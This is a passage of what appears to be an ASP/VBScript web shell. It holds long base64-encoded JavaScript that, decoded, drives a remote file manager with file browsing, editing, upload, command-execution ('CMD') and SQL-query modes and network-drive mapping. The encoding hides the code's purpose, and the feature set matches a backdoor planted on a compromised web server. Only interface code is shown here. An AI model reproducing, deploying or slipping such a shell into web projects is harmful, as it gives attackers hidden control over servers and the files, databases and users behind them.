786"aWYocmVzcG9uc2UgPT0gJycpewoJCQkJCQkJYWxlcnQoIlNlc3Npb24gVGltZW91dC4gUGxlYXNlIGxvZ2luIGFnYWluICEiKTsKCQkJCQkJfWVsc2V7CgkJCQkJCQlhbGVydCgiQmFkIHJlc3BvbnNlICEhISIpOwoJCQkJCQl9CgkJCQkJCWNoYW5nZVVybCA9IHRydWU7CgkJCQl9CgkJCX1lbHNlewoJCQkJCWNsZWFyVGltZW91" &_
787"dCAoIHNhdmVUaW1lciApOwoJCQkJCWFsZXJ0KCJCYWQgcmVzcG9uc2UgSFRUUCBTdGF0dXMgKCIrIGh0dHAuc3RhdHVzICsiKSAhISEiKTsKCQkJCQljaGFuZ2VVcmwgPSB0cnVlOwoJCQkJfQoJCQlpZighc2F2ZVRpbWVyKXsKCQkJCXNob3dNb2RlKHNob3dDb250ZW50LCBjaGFuZ2VVcmwpOwoJCQkJaGlkZUxvYWRpbmcoKTsK" &_
788"CQkJfQoJCQljdXJyZW50X3J1bm5pbmcgPSBmYWxzZTsKCQl9Cgl9Y2F0Y2goZSl7CgkJY2xlYXJUaW1lb3V0ICggc2F2ZVRpbWVyICk7CgkJYWxlcnQoIkphdmFzY3JpcHQgUHJvYmxlbSAhISEiKTsKCQlzaG93TW9kZSgiRXhwbG9yZXIiLCBmYWxzZSk7CgkJY3VycmVudF9ydW5uaW5nID0gZmFsc2U7CgkJaGlkZUxvYWRpbmco" &_
789"KTsKCX0KCWZpbmFsbHl7fQp9CgpmdW5jdGlvbiBzZXRJdGVtc0NvdW50KCkKewoJZ2V0SWQoImZvbGRlck5vIikuaW5uZXJIVE1MID0gZmZMaXN0LmZvbGRlcnMubGVuZ3RoICsgbm9Gb2xkZXI7CglnZXRJZCgiZmlsZU5vIikuaW5uZXJIVE1MID0gZmZMaXN0LmZpbGVzLmxlbmd0aCArIG5vRmlsZTsKCglnZXRJZCgidG90YWxG" &_
790"b2xkZXJzIikuaW5uZXJIVE1MID0gZmZMaXN0LnN0YXR1cy50b3RhbEZvbGRlcnMgKyBub0ZvbGRlcjsKCWdldElkKCJ0b3RhbEZpbGVzIikuaW5uZXJIVE1MID0gZmZMaXN0LnN0YXR1cy50b3RhbEZpbGVzICsgbm9GaWxlOwp9CgpmdW5jdGlvbiBnZXRWYXIodXJsLGNudCkKewoJdXJsPXVybCsnIyc7Cgl1cmw9dXJsLnNwbGl0" &_
791"KCcjJyk7CglpZiAoIXVybFsxXSkgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAnI0V4cGxvcmVyfFxcJzsKCXVybD11cmxbMV07Cgl1cmw9dXJsKyd8JzsKCXVybD11cmwuc3BsaXQoJ3wnKTsKCWlmIChjbnQgIT0gLTEpIHsKCQl1cmw9dXJsW2NudF07CgkJaWYgKCF1cmwpIHJldHVybiAnJzsKCX0KCXJldHVybiB1bmVzY2FwZSh1" &_
792"cmwpOwp9CgpmdW5jdGlvbiBsb2FkUGFnZSgpIHsKCWFjdCA9IGdldFZhcih3aW5kb3cubG9jYXRpb24uaHJlZiwwKTsKCglpZihnZXRWYXIobGFzdFVybCwwKSA9PSAnRXhwbG9yZXInKXsKCQlwb3NFeHAgPSBjdXJfcG9zKCk7Cgl9ZWxzZSBpZihnZXRWYXIobGFzdFVybCwwKSA9PSAnU1FMJyl7CgkJcG9zU1FMID0gY3VyX3Bv" &_
793"cygpOwoJfQoKCWlmIChhY3QgPT0gJ0V4cGxvcmVyJykgewoJCXBvc0V4cCA9IDA7CgkJY3VycmVudF9sb2NhdGlvbj1nZXRWYXIod2luZG93LmxvY2F0aW9uLmhyZWYsMSkuYWRkU2xhc2goKTsKCQlpZiAoY3VycmVudF9sb2NhdGlvbikgc2VuZFJlcXVlc3QoY3VycmVudF9sb2NhdGlvbik7CgkJZWxzZSBzZW5kUmVxdWVzdCgn" &_
794"XFwnKTsKCX0gZWxzZSBpZiAoYWN0ID09ICdFZGl0JykgewoJCWxvYWRGaWxlKCk7Cgl9IGVsc2UgaWYgKGFjdCA9PSAnVmlldycpIHsKCQlpbWdfdmlldyA9IG5ldyBJbWFnZSgpOwoJCWltZ192aWV3LnNyYyA9ICI/bW9kZT12aWV3JmltYWdlUGF0aD0iICsgZ2V0VmFyKHdpbmRvdy5sb2NhdGlvbi5ocmVmLDEpOwoJCWltZ192" &_
795"aWV3Lm9uZXJyb3IgPSBmdW5jdGlvbigpe2FsZXJ0KCJDYW4gbm90IGxvYWQgdGhlIGltYWdlICEiKTtpbWdfdmlldyA9IG51bGw7fTsKCQlpbWdfdmlldy5vbmxvYWQgPSBmdW5jdGlvbigpe2lmKGltZ192aWV3LndpZHRoPjgwMCl7Z2V0SWQoImltZ1BpY3R1cmUiKS53aWR0aCA9ICI4MDAiO2dldElkKCJpbWdQaWN0dXJlIiku" &_
796"aGVpZ2h0ID0gKGltZ192aWV3LmhlaWdodCAqIDgwMCAvIGltZ192aWV3LndpZHRoKTt9ZWxzZXtnZXRJZCgiaW1nUGljdHVyZSIpLndpZHRoID0gaW1nX3ZpZXcud2lkdGg7Z2V0SWQoImltZ1BpY3R1cmUiKS5oZWlnaHQgPSBpbWdfdmlldy5oZWlnaHQ7fWdldElkKCJpbWdQaWN0dXJlIikuc3JjID0gaW1nX3ZpZXcuc3JjO2lt" &_
797"Z192aWV3ID0gbnVsbDt9OwoJCXNob3dNb2RlKGFjdCk7Cgl9ICBlbHNlIGlmIChhY3QgPT0gJ1NRTCcpIHsKCQlzaG93TW9kZShhY3QpOwoJfSAgZWxzZSBpZiAoYWN0ID09ICdDTUQnKSB7CgkJc2hvd01vZGUoYWN0KTsKCX0gIGVsc2UgaWYgKGFjdCA9PSAnVXBsb2FkJykgewoJCWdldElkKCJ1cGxvYWRMb2NhdGlvbiIpLmlu" &_
798"bmVySFRNTCA9IGdldFZhcih3aW5kb3cubG9jYXRpb24uaHJlZiwxKS5hZGRTbGFzaCgpOwoJCWdldElkKCJ0eHR1cGxvYWRMb2NhdGlvbiIpLnZhbHVlID0gZ2V0VmFyKHdpbmRvdy5sb2NhdGlvbi5ocmVmLDEpLmFkZFNsYXNoKCk7CgkJZ2V0SWQoImxpbmtCYWNrIikudmFsdWUgPSBsYXN0VXJsQmFja3VwOwoJCXNob3dNb2Rl" &_
799"KGFjdCk7Cgl9Cn0KCmZ1bmN0aW9uIGxvYWRNb3JlKCkgewoJaWYoIWZmTGlzdC5zdGF0dXMuZmluaXNoZWQpCgkJc2VuZFJlcXVlc3QoZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpLCBmZkxpc3Quc3RhdHVzLml0ZW1TdGFydCArIDIwMCk7Cn0KCmZ1bmN0aW9uIGN1cl9wb3MoKSB7Cgl2YXIgdG9wID0gZG9jdW1lbnQuYm9k" &_
800"eS5zY3JvbGxUb3AKICAgID8gZG9jdW1lbnQuYm9keS5zY3JvbGxUb3AKICAgIDogKHdpbmRvdy5wYWdlWU9mZnNldAogICAgICAgID8gd2luZG93LnBhZ2VZT2Zmc2V0CiAgICAgICAgOiAoZG9jdW1lbnQuYm9keS5wYXJlbnRFbGVtZW50CiAgICAgICAgICAgID8gZG9jdW1lbnQuYm9keS5wYXJlbnRFbGVtZW50LnNjcm9sbFRv" &_
801"cAogICAgICAgICAgICA6IDAKICAgICAgICApCiAgICApOwoKCXJldHVybiB0b3A7Cn0KCmZ1bmN0aW9uIHNob3dkaXYoaWQsIHNob3csIHRhYmxlKSB7CglnZXRJZChpZCkuc3R5bGUuZGlzcGxheSA9IChzaG93KSA/ICh0YWJsZSA/ICd0YWJsZScgOiAnYmxvY2snKSA6ICdub25lJzsKfQoKZnVuY3Rpb24gc2hvd01vZGUobW9k" &_
802"ZSwgY2hhbmdlVXJsKSB7CgljdXJyX21vZGU9Z2V0VmFyKHdpbmRvdy5sb2NhdGlvbi5ocmVmLDApOwoJbGFzdF9tb2RlPWdldFZhcihsYXN0VXJsLDApOwoKCWlmKGxhc3RfbW9kZSA9PSAnRXhwbG9yZXInKXsKCQlwb3NFeHAgPSBjdXJfcG9zKCk7Cgl9ZWxzZSBpZihsYXN0X21vZGUgPT0gJ1NRTCcpewoJCXBvc1NRTCA9IGN1" &_
803"cl9wb3MoKTsKCX0KCQoJaWYoY2hhbmdlVXJsICYmIGN1cnJfbW9kZSAhPSAiRXhwbG9yZXIiKQoJewoJCWxhc3RVcmwgPSBsYXN0VXJsQmFja3VwOwoJCXdpbmRvdy5sb2NhdGlvbi5ocmVmID0gbGFzdFVybEJhY2t1cDsKCQlnZXRJZCgicmVtb3RlIikudmFsdWUgPSBmZkxpc3QuaW5mby5wYXRoLmFkZFNsYXNoKCk7CgkJZ2V0" &_
804"SWQoInJlbW90ZUNvcHkiKS52YWx1ZSA9IGZmTGlzdC5pbmZvLnBhdGguYWRkU2xhc2goKTsKCQlnZXRJZCgicmVtb3RlTW92ZSIpLnZhbHVlID0gZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpOwoJfQoKCWlmKG1vZGUgIT0gIlZpZXciKXsKCQlnZXRJZCgiaW1nUGljdHVyZSIpLnNyYyA9IGltZ19sb2FkaW5nLnNyYzsKCQln" &_
805"ZXRJZCgiaW1nUGljdHVyZSIpLndpZHRoID0gaW1nX2xvYWRpbmcud2lkdGg7CgkJZ2V0SWQoImltZ1BpY3R1cmUiKS5oZWlnaHQgPSBpbWdfbG9hZGluZy5oZWlnaHQ7Cgl9CgoJc2hvd2RpdigidGJsQ29udGVudCIsIChtb2RlID09ICJFeHBsb3JlciIpLCB0cnVlKTsKCXNob3dkaXYoImZmTm8iLCAobW9kZSA9PSAiRXhwbG9y" &_
806"ZXIiKSk7CglzaG93ZGl2KCJ0YmxEcml2ZXJzIiwgKG1vZGUgPT0gIkV4cGxvcmVyIiksIHRydWUpOwoKCXNob3dkaXYoInRibEZpbGVFZGl0IiwgKG1vZGUgPT0gIkVkaXQiKSwgdHJ1ZSk7CglzaG93ZGl2KCJ0YmxQaWN0dXJlIiwgKG1vZGUgPT0gIlZpZXciKSwgdHJ1ZSk7CglzaG93ZGl2KCJ0YmxVcGxvYWQiLCAobW9kZSA9" &_
807"PSAiVXBsb2FkIiksIHRydWUpOwoJc2hvd2RpdigidGJsQ21kIiwgKG1vZGUgPT0gIkNNRCIpLCB0cnVlKTsKCXNob3dkaXYoInRibFNxbCIsIChtb2RlID09ICJTUUwiKSwgdHJ1ZSk7CgoJaWYobW9kZSA9PSAiRXhwbG9yZXIiICYmIGN1cnJfbW9kZSAhPSAiRXhwbG9yZXIiKXsKCQl3aW5kb3cuc2Nyb2xsVG8oMCwgcG9zRXhw" &_
808"KTsKCX0KCQoJaWYobW9kZSA9PSAiRXhwbG9yZXIiICYmIGN1cnJfbW9kZSA9PSAiRXhwbG9yZXIiICYmIGNoYW5nZVVybCl7CgkJd2luZG93LnNjcm9sbFRvKDAsIDApOwoJfQoKCWlmKG1vZGUgPT0gIlNRTCIgJiYgbGFzdF9tb2RlICE9ICJTUUwiKXsKCQl3aW5kb3cuc2Nyb2xsVG8oMCwgcG9zU1FMKTsKCX0KCglpZihtb2Rl" &_
809"ID09ICJTUUwiICYmIGxhc3RfbW9kZSA9PSAiU1FMIil7CgkJd2luZG93LnNjcm9sbFRvKDAsIDApOwoJfQp9CgpmdW5jdGlvbiBzaG93TWFwTmV0d29yaygpCnsKCWdldElkKCJvdmVybGF5Iikuc3R5bGUud2lkdGg9Z2V0UGFnZVNpemUoKVswXSsncHgnOwoJZ2V0SWQoIm92ZXJsYXkiKS5zdHlsZS5oZWlnaHQ9Z2V0UGFnZVNp" &_
810"emUoKVsxXSsncHgnOwoKCXNob3dkaXYoIm92ZXJsYXkiLCB0cnVlKTsKCXNob3dkaXYoInRibE1hcERyaXZlciIsIHRydWUpOwp9CgpmdW5jdGlvbiBoaWRlTWFwTmV0d29yaygpCnsKCWdldElkKCJvdmVybGF5Iikuc3R5bGUud2lkdGg9JzBweCc7CglnZXRJZCgib3ZlcmxheSIpLnN0eWxlLmhlaWdodD0nMHB4JzsKCglzaG93" &_
811"ZGl2KCJvdmVybGF5IiwgZmFsc2UpOwoJc2hvd2RpdigidGJsTWFwRHJpdmVyIiwgZmFsc2UpOwp9CgpmdW5jdGlvbiBzaG93TG9hZGluZygpCnsKCWdldElkKCJvdmVybGF5Iikuc3R5bGUud2lkdGg9Z2V0UGFnZVNpemUoKVswXSsncHgnOwoJZ2V0SWQoIm92ZXJsYXkiKS5zdHlsZS5oZWlnaHQ9Z2V0UGFnZVNpemUoKVsxXSsn" &_
812"cHgnOwoKCXNob3dkaXYoIm92ZXJsYXkiLCB0cnVlKTsKCXNob3dkaXYoInRibExvYWRpbmciLCB0cnVlKTsKfQoKZnVuY3Rpb24gaGlkZUxvYWRpbmcoKQp7CglzaG93ZGl2KCJvdmVybGF5IiwgZmFsc2UpOwoJc2hvd2RpdigidGJsTG9hZGluZyIsIGZhbHNlKTsKCWdldElkKCJvdmVybGF5Iikuc3R5bGUud2lkdGg9JzBweCc7" &_
813"CglnZXRJZCgib3ZlcmxheSIpLnN0eWxlLmhlaWdodD0nMHB4JzsKfQoKZnVuY3Rpb24gZ2V0UGFnZVNpemUoKSB7CgoJIHZhciB4U2Nyb2xsLCB5U2Nyb2xsOwoKCWlmICh3aW5kb3cuaW5uZXJIZWlnaHQgJiYgd2luZG93LnNjcm9sbE1heFkpIHsKCQl4U2Nyb2xsID0gd2luZG93LmlubmVyV2lkdGggKyB3aW5kb3cuc2Nyb2xs" &_
814"TWF4WDsKCQl5U2Nyb2xsID0gd2luZG93LmlubmVySGVpZ2h0ICsgd2luZG93LnNjcm9sbE1heFk7Cgl9IGVsc2UgaWYgKGRvY3VtZW50LmJvZHkuc2Nyb2xsSGVpZ2h0ID4gZG9jdW1lbnQuYm9keS5vZmZzZXRIZWlnaHQpeyAvLyBhbGwgYnV0IEV4cGxvcmVyIE1hYwoJCXhTY3JvbGwgPSBkb2N1bWVudC5ib2R5LnNjcm9sbFdp" &_
815"ZHRoOwoJCXlTY3JvbGwgPSBkb2N1bWVudC5ib2R5LnNjcm9sbEhlaWdodDsKCX0gZWxzZSB7IC8vIEV4cGxvcmVyIE1hYy4uLndvdWxkIGFsc28gd29yayBpbiBFeHBsb3JlciA2IFN0cmljdCwgTW96aWxsYSBhbmQgU2FmYXJpCgkJeFNjcm9sbCA9IGRvY3VtZW50LmJvZHkub2Zmc2V0V2lkdGg7CgkJeVNjcm9sbCA9IGRvY3Vt" &_
816"ZW50LmJvZHkub2Zmc2V0SGVpZ2h0OwoJfQoKCXZhciB3aW5kb3dXaWR0aCwgd2luZG93SGVpZ2h0OwoKCWlmIChzZWxmLmlubmVySGVpZ2h0KSB7CS8vIGFsbCBleGNlcHQgRXhwbG9yZXIKCQlpZihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGgpewoJCQl3aW5kb3dXaWR0aCA9IGRvY3VtZW50LmRvY3VtZW50" &_
817"RWxlbWVudC5jbGllbnRXaWR0aDsKCQl9IGVsc2UgewoJCQl3aW5kb3dXaWR0aCA9IHNlbGYuaW5uZXJXaWR0aDsKCQl9CgkJd2luZG93SGVpZ2h0ID0gc2VsZi5pbm5lckhlaWdodDsKCX0gZWxzZSBpZiAoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50ICYmIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQpIHsg" &_
818"Ly8gRXhwbG9yZXIgNiBTdHJpY3QgTW9kZQoJCXdpbmRvd1dpZHRoID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoOwoJCXdpbmRvd0hlaWdodCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQ7Cgl9IGVsc2UgaWYgKGRvY3VtZW50LmJvZHkpIHsgLy8gb3RoZXIgRXhwbG9yZXJzCgkJ" &_
819"d2luZG93V2lkdGggPSBkb2N1bWVudC5ib2R5LmNsaWVudFdpZHRoOwoJCXdpbmRvd0hlaWdodCA9IGRvY3VtZW50LmJvZHkuY2xpZW50SGVpZ2h0OwoJfQoKCS8vIGZvciBzbWFsbCBwYWdlcyB3aXRoIHRvdGFsIGhlaWdodCBsZXNzIHRoZW4gaGVpZ2h0IG9mIHRoZSB2aWV3cG9ydAoJaWYoeVNjcm9sbCA8IHdpbmRvd0hlaWdo" &_
820"dCl7CgkJcGFnZUhlaWdodCA9IHdpbmRvd0hlaWdodDsKCX0gZWxzZSB7CgkJcGFnZUhlaWdodCA9IHlTY3JvbGw7Cgl9CgoJLy8gZm9yIHNtYWxsIHBhZ2VzIHdpdGggdG90YWwgd2lkdGggbGVzcyB0aGVuIHdpZHRoIG9mIHRoZSB2aWV3cG9ydAoJaWYoeFNjcm9sbCA8IHdpbmRvd1dpZHRoKXsKCQlwYWdlV2lkdGggPSB4U2Ny" &_
821"b2xsOwoJfSBlbHNlIHsKCQlwYWdlV2lkdGggPSB3aW5kb3dXaWR0aDsKCX0KCglyZXR1cm4gW3BhZ2VXaWR0aCxwYWdlSGVpZ2h0XTsKfQoKZnVuY3Rpb24gdXJsQ2hlY2soKQp7Cgl1cmw9d2luZG93LmxvY2F0aW9uLmhyZWY7CglpZiAodXJsICE9ICcnICYmIHVybCE9bGFzdFVybCkKCXsKCQlpZighY3VycmVudF9ydW5uaW5n" &_
822"KXsKCQkJbG9hZFBhZ2UoKTsKCQkJbGFzdFVybD11cmw7CgkJfWVsc2V7CgkJCWFsZXJ0KCJMZXQgdGhlIGN1cnJlbnRseSBydW5uaW5nIHRhc2sgZmluaXNoIGZpcnN0ICEiKTsKCQkJd2luZG93LmxvY2F0aW9uLmhyZWYgPSBsYXN0VXJsOwoJCX0KCX0KfQoKZnVuY3Rpb24gc3RhcnRMb2FkKCkgewoJaW1nX2xvYWRpbmcgPSAg" &_
823"bmV3IEltYWdlKCk7CglpbWdfbG9hZGluZy5zcmM9Ij9tb2RlPWltYWdlJmltZ0lkPWxvYWRpbmciOwoJLy9hZGRFdmVudChkb2N1bWVudCwgImtleWRvd24iLCBrZXlDYXB0dXJlLCB0cnVlKTsKCWludGVydmFsID0gc2V0SW50ZXJ2YWwoJ3VybENoZWNrKCknLDEwMCk7Cn0KCgpmdW5jdGlvbiBhZGRUUihpZCwgeHR5cGUsIGNz" &_
824"c0NsYXNzKSB7CiAgdmFyIG5ld1RSID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnVFInKTsKICBuZXdUUi5zZXRBdHRyaWJ1dGUoJ2lkJyx4dHlwZSsnJytpZCk7CiAgaWYoY3NzQ2xhc3MpCgluZXdUUi5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCBjc3NDbGFzcyk7CnJldHVybiBuZXdUUjsK" &_
825"fQoKZnVuY3Rpb24gYWRkVEQodGV4dCwgY3NzQ2xhc3MsIHdpZHRoLCBhbGlnbikgewogIHZhciBuZXdURCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ1REJyk7CiAgbmV3VEQuaW5uZXJIVE1MID0gdGV4dDsKICBpZihjc3NDbGFzcykKCW5ld1RELnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyks" &_
826"IGNzc0NsYXNzKTsKICBpZih3aWR0aCkKCW5ld1RELnNldEF0dHJpYnV0ZSgnd2lkdGgnLHdpZHRoKTsKICBpZihhbGlnbikKCW5ld1RELnNldEF0dHJpYnV0ZSgnYWxpZ24nLGFsaWduKTsKcmV0dXJuIG5ld1REOwp9CgpmdW5jdGlvbiBhZGRUQk9EWShpZCkgewogIHZhciBuZXdUQk9EWSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1l" &_
827"bnQoJ1RCT0RZJyk7CiAgaWYoaWQpCgluZXdUQk9EWS5zZXRBdHRyaWJ1dGUoJ2lkJywgaWQpOwpyZXR1cm4gbmV3VEJPRFk7Cn0KCmZ1bmN0aW9uIGFkZFRIRUFEKGlkKSB7CiAgdmFyIG5ld1RIRUFEID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnVEhFQUQnKTsKICBpZihpZCkKCW5ld1RIRUFELnNldEF0dHJpYnV0ZSgnaWQn" &_
828"LCBpZCk7CnJldHVybiBuZXdUSEVBRDsKfQoKZnVuY3Rpb24gYWRkTGluayh0ZXh0LCBocmVmLCBjc3NDbGFzcykgewogIHZhciBuZXdMaW5rID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnQScpOwogIG5ld0xpbmsuaW5uZXJIVE1MID0gdGV4dDsKICBpZihocmVmKQoJbmV3TGluay5zZXRBdHRyaWJ1dGUoJ2hyZWYnLCBocmVm" &_
829"KTsKICBpZihjc3NDbGFzcykKCW5ld0xpbmsuc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgY3NzQ2xhc3MpOwpyZXR1cm4gbmV3TGluazsKfQoKZnVuY3Rpb24gZGlzcGxheVNRTENvbnRlbnQoc3FsUmVzdWx0KQp7Cgl3aGlsZShnZXRJZCgic3FsQ29udGVudCIpLmhhc0NoaWxkTm9kZXMoKSkK" &_
830"CXsKCQlnZXRJZCgic3FsQ29udGVudCIpLnJlbW92ZUNoaWxkKGdldElkKCJzcWxDb250ZW50IikuZmlyc3RDaGlsZCk7Cgl9CgoJaWYoc3FsUmVzdWx0LmFjdGlvbi5oZWFkZXIubGVuZ3RoID4gMCl7CgkJZ2V0SWQoImFmZmVjdGVkIikuaW5uZXJIVE1MID0gc3FsUmVzdWx0LmFjdGlvbi5kYXRhLmxlbmd0aDsKCQlnZXRJZCgi" &_
831"bHN0QWZmIikuaW5uZXJIVE1MID0gImxpc3RlZCI7Cgl9ZWxzZXsKCQlnZXRJZCgiYWZmZWN0ZWQiKS5pbm5lckhUTUwgPSBzcWxSZXN1bHQuYWN0aW9uLmFmZmVjdGVkOwoJCWdldElkKCJsc3RBZmYiKS5pbm5lckhUTUwgPSAiYWZmZWN0ZWQiOwoJfQoKCWlmKHNxbFJlc3VsdC5hY3Rpb24uaGVhZGVyICYmIHNxbFJlc3VsdC5h" &_
832"Y3Rpb24uaGVhZGVyLmxlbmd0aCA+IDApewoJCW5ld0hlYWQgPSBhZGRUSEVBRCgpOwoJCW5ld1JvdyA9IGFkZFRSKDAsICJzcWxIZWFkIik7CgkJZm9yIChpPTA7aTxzcWxSZXN1bHQuYWN0aW9uLmhlYWRlci5sZW5ndGg7aSsrKQoJCXsKCQkJbmV3Q29sID0gYWRkVEQoc3FsUmVzdWx0LmFjdGlvbi5oZWFkZXJbaV0sICJ0YWJs" &_
833"ZUhlYWQiKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJfQoJCW5ld0hlYWQuYXBwZW5kQ2hpbGQobmV3Um93KTsKCQlnZXRJZCgic3FsQ29udGVudCIpLmFwcGVuZENoaWxkKG5ld0hlYWQpOwoKCQluZXdUYm9keSA9IGFkZFRCT0RZKCJyb3dDb250ZW50Iik7CgkJZm9yIChpPTA7aTxzcWxSZXN1bHQuYWN0aW9u" &_
834"LmRhdGEubGVuZ3RoO2krKykKCQl7CgkJCW5ld1JvdyA9IGFkZFRSKGksICJzcWxSb3ciKTsKCQkJCWZvciAoaj0wO2o8c3FsUmVzdWx0LmFjdGlvbi5kYXRhW2ldLmxlbmd0aDtqKyspCgkJCQl7CgkJCQkJbmV3Q29sID0gYWRkVEQoc3FsUmVzdWx0LmFjdGlvbi5kYXRhW2ldW2pdLCAia2JydG0iKTsKCQkJCQluZXdSb3cuYXBw" &_
835"ZW5kQ2hpbGQobmV3Q29sKTsKCQkJCX0KCQkJbmV3VGJvZHkuYXBwZW5kQ2hpbGQobmV3Um93KTsKCQl9CgkJZ2V0SWQoInNxbENvbnRlbnQiKS5hcHBlbmRDaGlsZChuZXdUYm9keSk7Cgl9Cn0KCmZ1bmN0aW9uIGRpc3BsYXlDb250ZW50KGZvbGRlck5ldywgZmlsZU5ldykKewoJaWYoIWZmTGlzdCkKCXsKCQlyZXR1cm47Cgl9" &_
836"CgoJaWYoZmZMaXN0LmZvbGRlcnMubGVuZ3RoIC0gZm9sZGVyTmV3ID09IDAgJiYgZmZMaXN0LmZpbGVzLmxlbmd0aCAtIGZpbGVOZXcgPT0gMCl7CgkJY2xlYXJDb250ZW50KCk7CgoJCXZhciBuZXd0YmxMaXN0ID0gYWRkVEJPRFkoJ3RibExpc3QnKTsKCQlnZXRJZCgidGJsQ29udGVudCIpLmluc2VydEJlZm9yZShuZXd0YmxM" &_
837"aXN0LCBnZXRJZCgidGJsQ29tbWFuZCIpKTsKCgkJbGV2ZWxSb290ID0gZmZMaXN0LmluZm8ucGF0aC5zcGxpdCgiXFwiKTsKCQlsZXZlbFJvb3QgPSBsZXZlbFJvb3RbMF07CgoJCWxldmVsVXAgPSBmZkxpc3QuaW5mby5wYXRoLnNwbGl0KCJcXCIpOwoJCWxldmVsVXAgPSBmZkxpc3QuaW5mby5wYXRoLnJlcGxhY2UobGV2ZWxV" &_
838"cFtsZXZlbFVwLmxlbmd0aC0yXSsiXFwiLCAiIik7CgoJCWlmKGxldmVsVXAgPT0gIiIgfHwgbGV2ZWxVcCA9PSBudWxsKQoJCQlsZXZlbFVwID0gbGV2ZWxSb290KyJcXCI7CgoJCQluZXdSb3cgPSBhZGRUUigwLCAicm9vdCIpOwoJCQluZXdMaW5rID0gYWRkTGluaygiW1Jvb3RdIFxcIiwgIiIrZmZMaXN0LmluZm8uZmlsZXBh" &_
839"dGgrIiNFeHBsb3JlcnwiK2xldmVsUm9vdCsiXFwiKTsKCQkJbmV3Q29sID0gYWRkVEQoIiZuYnNwOyZuYnNwOzxpbWcgc3JjPSc/bW9kZT1pbWFnZSZpbWdJZD1kaXInPiIsICJrYnJ0bSIpOwoJCQluZXdDb2wuYXBwZW5kQ2hpbGQobmV3TGluayk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoJCQluZXdSb3cuYXBw" &_
840"ZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCJESVIiLCAia2JydG0iLCAiIiwgImNlbnRlciIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImti" &_
841"cnRtIikpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQlnZXRJZCgidGJsTGlzdCIpLmFwcGVuZENoaWxk" &_
842"KG5ld1Jvdyk7CgoJCQluZXdSb3cgPSBhZGRUUigwLCAidXAiKTsKCQkJbmV3TGluayA9IGFkZExpbmsoIltVcF0gLi4iLCAiIitmZkxpc3QuaW5mby5maWxlcGF0aCsiI0V4cGxvcmVyfCIrbGV2ZWxVcCk7CgkJCW5ld0NvbCA9IGFkZFREKCImbmJzcDsmbmJzcDs8aW1nIHNyYz0nP21vZGU9aW1hZ2UmaW1nSWQ9bHZ1cCc+Iiwg" &_
843"ImticnRtIik7CgkJCW5ld0NvbC5hcHBlbmRDaGlsZChuZXdMaW5rKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIkRJUiIsICJrYnJ0bSIsICIiLCAiY2VudGVyIikpOwoJCQlu" &_
844"ZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0" &_
845"bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCWdldElkKCJ0YmxMaXN0IikuYXBwZW5kQ2hpbGQobmV3Um93KTsKCgkJCW5ld1JvdyA9IGFkZFRSKDAsICJnYXAiKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5h" &_
846"cHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJ" &_
